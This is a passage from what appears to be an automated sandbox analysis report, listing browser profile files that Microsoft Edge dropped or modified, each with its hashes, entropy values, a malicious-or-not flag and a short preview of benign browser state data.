SHA1:	FE015701993BDDFDF01D72B8E2E2F1F3262ADE32
SHA-256:	42038B8AF04E06533EC3E71B638043FF0B19FEAD3510E13197DE8D46CCA1DFE2
SHA-512:	F54FAB24CA148DB47B28389172913D0C18B24A9E6020042C266C2B5C8D7F8046D3016C85DFD60D1D9CB9049EAE5195F2A83F4D05844430D0C76AFB7AD3B4ABC1
Malicious:	false
Preview:	2024/11/17-17:36:30.251 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-17:36:30.253 1a6c Recovering log #3.2024/11/17-17:36:30.255 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0275bc55-0a42-4688-b5f7-c23ba4a187bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\10f9f586-ce80-4340-b639-0a456e09964c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\45c1b9be-594d-4307-94a4-21d64d5e1bd6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\60e37995-49a8-4f6e-a7bb-db38c4c0aed8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1650
Entropy (8bit):	5.312644584907187
Encrypted:	false
SSDEEP:	48:YcCpfgCzsetsMfc7leeBkBRsZCgHrYhbyDF:F2fBr2keBkBSTshy
MD5:	E923A33605058AC5F790808776DF0CAF
SHA1:	7D7A2BB05F829E0786535051B0A687D13D188665
SHA-256:	47F99A1B30271DA1F6E03AA4B0D9EEFB0C0FA86AEB3AE3FB10B1CC04E64887A3
SHA-512:	CCFB0CFB1A51250451AA0D2E644E12E5E688F8984D9D089666254760387340B796125D4FE65060140E584E37A25B36E30F6344495226827048F408BF434BB446
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378948593719177","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378948597105305","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6917f55f-2ae8-485a-b3f7-f756cb76111a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6b9492cd-b1ea-45e8-91b9-9218e60fbdea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\90c98718-12ae-4759-8eac-c2137ba2204a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\993e5704-b682-4f18-acbc-14d6a117d398.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7762817226682337
Encrypted:	false
SSDEEP:	96:te+Au4YrhcXM0znXpCsISm8JUaLSf12ugSsbiLXckO0L/ZJV8Y:tT4ucciX8sIVAU3dAwXcf0L/ZJVb
MD5:	DD3175515CA6CB94B39C4E623EAE5443
SHA1:	C7928FE97A0FD081829FA44D911F4A72FBD99810
SHA-256:	DB73CA7D15F1FF179B2151C6947DF8C6296F5CECB2EAA15A596E67765CD4FBDC
SHA-512:	C71A6955F483366CCC1D82109BF1B65BEF6CEB349B22DE9774182970D6F025E46DD083AD6CBB58E24EFA422A0BE22D945D6387DFD8F101B328B3D0225F6AF5A2
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF37c36.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.377935152947772
Encrypted:	false
SSDEEP:	48:T2fIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSDWy:ifIEumQv8m1ccnvSjDHlGFh52+Bw1a
MD5:	2044E39DD2EEAB2A55C7CCCC8AC61D14
SHA1:	DA1243F6DF4C24338080508421A6FF37418604D5
SHA-256:	63B2A3BE1C76FFAB3AEA55CE9C4A39397B669474F172C2529A16706000FB06FE
SHA-512:	C3B55B1DDBC092B1A4D7C6ED03144B7E698BD7695EC69D2225576B8F0441A055758D50FE7B29A8F62EF7631A1B756FBEEE5B7BD9E77F7468BF8DBF0FBE5B810C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF272f4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27c98.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27e7d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39953.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF3d38d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f0216e54-ea9a-4535-8a6d-47affd5bcc93.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9681
Entropy (8bit):	5.112442688569824
Encrypted:	false
SSDEEP:	192:st9kdpXstqyaNP9k2F+0188bV+FvTQA411PzYJ:st9QXstqtJBbGLQy
MD5:	CAED2601395370DF5A34941BAE9E529D
SHA1:	AD54842D7762E141E6B608D1C4FA33218B23960B
SHA-256:	CDAE35EC65A66F104CBD8B090EF422A46EEFC7CA3A284601D47D17B7DF3C562E
SHA-512:	38617161CAACD529739DA17BDD290653A97E296FD83D4BB7E6431479105F2AC5D343C31D801FBAEF0C8BD76D67EB01F1475C86BA3D8850538EE2CBFBA563D679
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2a87b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9681
Entropy (8bit):	5.112442688569824
Encrypted:	false
SSDEEP:	192:st9kdpXstqyaNP9k2F+0188bV+FvTQA411PzYJ:st9QXstqtJBbGLQy
MD5:	CAED2601395370DF5A34941BAE9E529D
SHA1:	AD54842D7762E141E6B608D1C4FA33218B23960B
SHA-256:	CDAE35EC65A66F104CBD8B090EF422A46EEFC7CA3A284601D47D17B7DF3C562E
SHA-512:	38617161CAACD529739DA17BDD290653A97E296FD83D4BB7E6431479105F2AC5D343C31D801FBAEF0C8BD76D67EB01F1475C86BA3D8850538EE2CBFBA563D679
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2f2c2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9681
Entropy (8bit):	5.112442688569824
Encrypted:	false
SSDEEP:	192:st9kdpXstqyaNP9k2F+0188bV+FvTQA411PzYJ:st9QXstqtJBbGLQy
MD5:	CAED2601395370DF5A34941BAE9E529D
SHA1:	AD54842D7762E141E6B608D1C4FA33218B23960B
SHA-256:	CDAE35EC65A66F104CBD8B090EF422A46EEFC7CA3A284601D47D17B7DF3C562E
SHA-512:	38617161CAACD529739DA17BDD290653A97E296FD83D4BB7E6431479105F2AC5D343C31D801FBAEF0C8BD76D67EB01F1475C86BA3D8850538EE2CBFBA563D679
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF367f2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9681
Entropy (8bit):	5.112442688569824
Encrypted:	false
SSDEEP:	192:st9kdpXstqyaNP9k2F+0188bV+FvTQA411PzYJ:st9QXstqtJBbGLQy
MD5:	CAED2601395370DF5A34941BAE9E529D
SHA1:	AD54842D7762E141E6B608D1C4FA33218B23960B
SHA-256:	CDAE35EC65A66F104CBD8B090EF422A46EEFC7CA3A284601D47D17B7DF3C562E
SHA-512:	38617161CAACD529739DA17BDD290653A97E296FD83D4BB7E6431479105F2AC5D343C31D801FBAEF0C8BD76D67EB01F1475C86BA3D8850538EE2CBFBA563D679
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_co